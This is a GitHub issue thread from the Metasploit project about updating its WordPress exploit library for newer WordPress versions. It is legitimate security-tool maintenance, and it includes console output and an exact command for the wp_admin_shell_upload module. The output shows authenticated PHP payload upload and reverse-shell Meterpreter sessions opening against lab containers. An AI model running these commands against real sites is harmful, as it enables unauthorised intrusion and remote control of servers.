search

rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
33.74k stars 13.89k forks source link

WordPress mixin needs to be updated for 5.x #12918

Open wvu opened 4 years ago

wvu commented 4 years ago

The following changes are known:

  1. _wpnonce has been renamed to nonce
  2. Plugin editing API has changed
  3. Plugin uploading?

The following files will need changes:

  1. lib/msf/core/exploit/http/wordpress/admin.rb
  2. lib/msf/core/exploit/http/wordpress/helpers.rb

All these files are suspect:

wvu@kharak:/rapid7/metasploit-framework:feature/wordpress$ git grep -l _wpnonce
lib/msf/core/exploit/http/wordpress/admin.rb
lib/msf/core/exploit/http/wordpress/helpers.rb
modules/auxiliary/scanner/http/wp_arbitrary_file_deletion.rb
modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb
modules/exploits/multi/http/wp_crop_rce.rb
modules/exploits/multi/http/wp_db_backup_rce.rb
modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb
modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb
wvu@kharak:/rapid7/metasploit-framework:feature/wordpress$

12853

ccondon-r7 commented 4 years ago

@wvu-r7 I assume this still needs to be done?

wvu commented 4 years ago

It does. We can't write exploits using this library functionality for newer WordPress versions.

If plugin uploading doesn't work for 5.x, then post-auth RCE against WordPress would be "broken," as this is the most common way we shell a target. There are other ways, but we haven't implemented them in the library.

ccondon-r7 commented 4 years ago

Gotcha, you know who's probably gonna be assigned to this 🥇

github-actions[bot] commented 3 years ago

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

gwillcox-r7 commented 2 years ago

Nm, I'm an idiot, this is not resolved at all, ignore the opening and closing of this issue, we had an internal ticket tracking this which suggested that this was resolved by another PR. However closer inspection shows this is not the case and the issues still exist.

h00die commented 2 years ago

of not, the library will need to be updated. however the modules that reference it directly most likely wont need to be since they're only applicable for older versions.

heyder commented 2 years ago

Not sure if I understood it right, but if the lib changes the below modules won't works in older WordPress versions, right?

$ git grep -l wordpress_upload_plugin modules/
modules/exploits/unix/webapp/wp_admin_shell_upload.rb
modules/exploits/unix/webapp/wp_pie_register_bypass_rce.rb
heyder commented 2 years ago
  1. _wpnonce has been renamed to nonce

Seems _wpnonce still the default name for the nonce field.

https://github.com/WordPress/WordPress/blob/5cd2e835d8aac8ffac7f7a004a74aade58ee03e4/wp-includes/functions.php#L977-L987

  1. Plugin editing API has changed @agalway-r7 I'd appreciate some direction here.

  2. Plugin uploading?

Plugin uploading seems to work fine. Tested on latest WordPress version 5.9.3

msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit

[*] Started reverse TCP handler on 172.21.0.1:4444 
[*] Authenticating with WordPress using admin:admin...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Acquired a plugin upload nonce: c20b69247b
[*] 5.9.3 <-----  printing version
[*] Uploaded plugin chyAJkoFdB
[*] Executing the payload at /wp-content/plugins/chyAJkoFdB/EdgoVByaPf.php...
[*] Sending stage (39860 bytes) to 172.21.0.3
[+] Deleted EdgoVByaPf.php
[+] Deleted chyAJkoFdB.php
[+] Deleted ../chyAJkoFdB
[*] Meterpreter session 2 opened (172.21.0.1:4444 -> 172.21.0.3:50158 ) at 2022-04-20 18:57:39 +0200

meterpreter >
noraj commented 8 months ago

I'm wondering if wp_admin_shell_upload is not working (Exploit aborted due to failure: not-found: The target does not appear to be using WordPress) because the WP is 6.4 (> 5.x) or because there is no way to provide a custom login path (extension Rename wp-login.php).

bcoles commented 8 months ago

I'm wondering if wp_admin_shell_upload is not working (Exploit aborted due to failure: not-found: The target does not appear to be using WordPress) because the WP is 6.4 (> 5.x)

You can skip the WordPress check using set WPCHECK false.

or because there is no way to provide a custom login path (extension Rename wp-login.php).

If wp-login.php does not allow logins then the module will fail.

https://github.com/rapid7/metasploit-framework/blob/ffbaf3b141ca9f9a126f02a3ab9ccb89be4d57b6/modules/exploits/unix/webapp/wp_admin_shell_upload.rb#L77-L81

https://github.com/rapid7/metasploit-framework/blob/ffbaf3b141ca9f9a126f02a3ab9ccb89be4d57b6/lib/msf/core/exploit/remote/http/wordpress/login.rb#L10-L16

https://github.com/rapid7/metasploit-framework/blob/ffbaf3b141ca9f9a126f02a3ab9ccb89be4d57b6/lib/msf/core/exploit/remote/http/wordpress/uris.rb#L4-L9

adfoster-r7 commented 8 months ago

I believe the original issue was resolved by https://github.com/rapid7/metasploit-framework/pull/14882

I just ran through creating a fresh wordpress 6.4.2 build with docker-compose up:

# docker-compose.yml
services:
  db:
    # We use a mariadb image which supports both amd64 & arm64 architecture
    image: mariadb:10.6.4-focal
    # If you really want to use MySQL, uncomment the following line
    #image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:latest
    ports:
      - 8000:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress

Confirming modules/exploits/unix/webapp/wp_admin_shell_upload.rb works with 6.4.2:

msf6 exploit(unix/webapp/wp_admin_shell_upload) > run rhost=127.0.0.1 rport=8000 lhost=192.168.123.1  username=admin password=password

[*] Started reverse TCP handler on 192.168.123.1:4444 
[*] Authenticating with WordPress using admin:password...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Acquired a plugin upload nonce: efc94bee2c
[*] Uploaded plugin ZczsZDfKnm
[*] Executing the payload at /wp-content/plugins/ZczsZDfKnm/cgRfSinoOO.php...
[*] Sending stage (39927 bytes) to 192.168.123.1
[+] Deleted cgRfSinoOO.php
[+] Deleted ZczsZDfKnm.php
[+] Deleted ../ZczsZDfKnm
[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.1:50689) at 2024-01-10 10:20:20 +0000

meterpreter >

I'm wondering if wp_admin_shell_upload is not working (Exploit aborted due to failure: not-found: The target does not appear to be using WordPress) because the WP is 6.4 (> 5.x) or because there is no way to provide a custom login path (extension Rename wp-login.php).

We could make it configurable as a datastore option

We've also got the ability to log all Http requests and responses with httptrace=true if that helps to track down the edgecase a bit better:

msf6 exploit(unix/webapp/wp_admin_shell_upload) > run rhost=127.0.0.1 rport=8000 lhost=192.168.123.1  username=admin password=password httptrace=true

From the docs: https://docs.metasploit.com/docs/pentesting/metasploit-guide-http.html#http-debugging

Then it'd be super easy to just diff the out of the box wordpress docker setup that works versus the broken target

noraj commented 8 months ago

Yeah that's it, because of rename-wp-login (not uncommon to have wp-login renamed has hardening), so target_uri.path + 'wp-login.php' doesn't exist but is target_uri.path + '/custom/index.php' instead.